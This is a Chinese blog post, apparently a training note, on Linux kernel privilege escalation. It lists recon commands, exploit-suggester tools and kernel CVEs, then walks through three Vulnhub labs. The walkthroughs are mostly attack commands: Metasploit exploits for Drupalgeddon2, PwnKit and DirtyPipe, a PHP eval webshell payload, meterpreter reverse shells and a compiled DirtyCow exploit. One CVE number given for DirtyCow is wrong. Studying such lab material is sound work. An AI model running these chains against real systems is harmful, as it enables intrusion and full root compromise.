Linux系统权限提升篇&内核溢出&辅助项目&Vulnhub&Dcow&Pwnkit&Dirty

Ethan医生3天前系统安全23


#Web到Win系统提权-平台&语言&用户

1、Web搭建平台差异

集成软件,自行搭建,虚拟化等

集成软件:宝塔,PhpStudy,XAMMP等

自行搭建:自己一个个下载安装搭建配置

虚拟化:Docker,ESXi,QEMU,Hyper-V等

 

2、Web语言权限差异

ASP/ASP.NET/PHP/JSP等

权限高低:JSP>ASP.NET>ASP=PHP

 

3、系统用户权限差异

Windows:

System:系统组,拥有管理系统资源的权限,包括文件、目录和注册表等。

Administrators:管理员组,具有对计算机进行完全访问和操作的权限。

Users:用户组,一般用户的默认组别,拥有较低的系统权限。

Guests:

访客组,可以访问计算机上的公共文件夹和打印机,但不能更改配置和安装程序。

Backup Operators:

备份操作员组,允许用户备份和还原数据,但不能更改配置安装程序。

Power Users:高级用户组,拥有比一般用户更高的系统权限,但比管理员组权限低。

Remote Desktop Users:远程桌面用户组,允许用户进行远程桌面连接。

Network Configuration Operators:网络配置操作员组,允许用户管理网络配置。

Performance Log Users:性能日志用户组,允许用户收集性能日志和计数器数据。

Distributed COM Users:

分布式 COM 用户组,允许用户使用分布式 COM 连接到计算机。

IIS_IUSRS: 用于授权IIS相关服务的用户组。

 

Linux:

系统用户:UID(0-999)

普通用户:UID(1000-*)

root用户:UID为0,拥有系统的完全控制权限

 

Windows提权:

1、内核溢出漏洞提权

2、数据库类型提权

3、第三方软件应用提权

 

Linux提权:

1、内核溢出提权

2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等

3、数据库类型提权





#信息收集

当前主机的操作系统

hostnamectl

cat /etc/*-release

lsb_release -a

cat /etc/lsb-release # Debain

cat /etc/redhat-release # Redhat

cat /etc/centos-release # Centos

cat /etc/os-release # Ubuntu

cat /etc/issue

 

当前主机的内核版本

hostnamectl

uname -a

cat /proc/version

dmesg | grep "Linux version"

 

#内核漏洞筛选:

MSF检测:     ----公开版不好用可以不使用这个,商业版才好用

run post/multi/recon/local_exploit_suggester

 

提权脚本:

https://github.com/liamg/traitor

https://github.com/The-Z-Labs/linux-exploit-suggester

https://github.com/jondonas/linux-exploit-suggester-2

https://github.com/belane/linux-soft-exploit-suggester

 

综合脚本:

https://github.com/carlospolop/PEASS-ng

https://github.com/diego-treitos/linux-smart-enumeration

https://github.com/redcode-labs/Bashark

https://github.com/rebootuser/LinEnum

 

#应用场景:

获取到Web权限在Linux服务器上时进行的内核漏洞提权

 

#常见内核漏洞案例:

dirtycow(CVE-2016-5159)

Pwnkit (CVE-2021-4034)

Dirty Pipe(CVE-2022-0847)

SUDO (CVE-2021-3156)

大脏牛 (CVE-2017–1000405)

CVE-2017-16995

CVE-2021-3560

CVE-2023-1829

CVE-2022-2588

CVE-2021-3493

CVE-2022-32250

CVE-2023-3269

CVE-2022-0995

CVE-2022-2639

CVE-2023-0386

...

 

 

#Linux系统提权-Web&内核溢出-Dcow

复现环境:https://www.vulnhub.com/entry/lampiao-1,249/

1、信息收集:

nmap -p1-65535 192.168.139.0/24

2、Web漏洞利用:

search drupal

use exploit/unix/webapp/drupal_drupalgeddon2

set rhost 192.168.46.144

set rport 1898

run

3、内核提权:

upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell

cd /tmp

chmod +x 1.sh

./1.sh

https://github.com/gbonacini/CVE-2016-5195

upload /root/dcow.cpp /tmp/dcow.cpp

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

python -c 'import pty; pty.spawn("/bin/bash")'

./dcow

su root

 

#Linux系统提权-Web&内核溢出-Pwnkit

复现环境:https://www.vulnhub.com/entry/darkhole-1,724/

1、信息收集:

nmap -p1-65535 192.168.139.0/24

2、Web漏洞利用:

重置管理密码-上传1.phtml-反弹MSF

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

3、内核提权

upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell

cd /tmp

chmod +x 1.sh

./1.sh

search cve_2021_4034

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

set session x

run

getuid

shell

cd /root

cat root.txt

 

#Linux系统提权-Web&内核溢出-DirtyPipe

https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

1、信息收集:

nmap -p1-65535 192.168.139.0/24

2、Web漏洞利用

扫描发现-抓包分析-文件写入-反弹MSF

gobuster dir -u http://192.168.139.146 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

message=<?php eval($_POST["pass"]);?>&file=xd.php

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

3、内核提权

upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell

cd /tmp

chmod +x 1.sh

./1.sh

search cve_2022_0847

use exploit/linux/local/cve_2022_0847_dirtypipe

set session x

set lhost xx.xx.xx.xx

run

 

#补充

CVE-2023-0386

https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q


相关文章

Linux系统权限提升篇&Vulnhub&辅助项目&SUID权限&SUDO指令&版本漏洞

#信息收集当前主机的操作系统hostnamectlcat /etc/*-releaselsb_release -acat /etc/lsb-release # Debaincat /etc/redha...

Linux系统权限提升篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID

#Linux系统提权-Web&用户-NFS安全NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。https://...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。